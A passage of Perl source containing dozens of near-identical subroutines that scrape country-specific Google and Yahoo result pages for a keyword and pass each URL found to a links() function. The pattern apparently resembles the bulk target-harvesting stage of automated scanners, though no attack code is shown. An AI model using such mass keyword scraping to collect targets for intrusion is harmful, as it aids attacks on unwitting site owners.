    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(1);
sub googleSE() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleSE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleDK() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleDK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleNO() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleNO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(1);
sub googleNZ() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleNZ/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleIE() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleIE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleBR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(2);
sub googleAR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleAR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleCO() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleCU() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(2);
sub googleCL() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleMX() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleMX/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleAU() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleAU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(2);
sub googleRU() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleRU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleAT() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleAT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googlePL() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googlePL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(3);
sub googleIL() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleIL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleTR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleTR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleUA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleUA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(3);
sub googleGR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleGR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleJP() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleJP/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleCN() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(3);
sub googleMY() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleMY/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleTH() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleTH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleIN() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleIN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(3);
sub googleKR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleKR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleRO() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleRO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleTW() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleTW/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(3);
sub googleZA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleZA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googlePT() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googlePT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub walla() {
	my @list;
	my $key = $_[0];
	for ($b=0; $b<=100; $b+=1) {
        my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
            my $link = $1;
            if ($link !~ /walla\.co\.il/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahoo(){
    my @list;
	my $key = $_[0];
	for ($b=1; $b<=1000; $b+=10) {
        my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link !~ /yahoo\.com/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ca&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gb&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooUK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=de&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooDE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooFR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=es&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooES/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=it&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooIT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooHK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooHK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooID() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=id&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooID/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooIN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=in&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooIN/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=au&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=mx&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooMX/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooTW() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=tw&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooTW/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=br&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooBR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ar&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooNL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=dk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooDK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooPH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ph&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooCL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=cl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ru&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooRU/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ch&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCH/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooCO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=co&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooFI() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
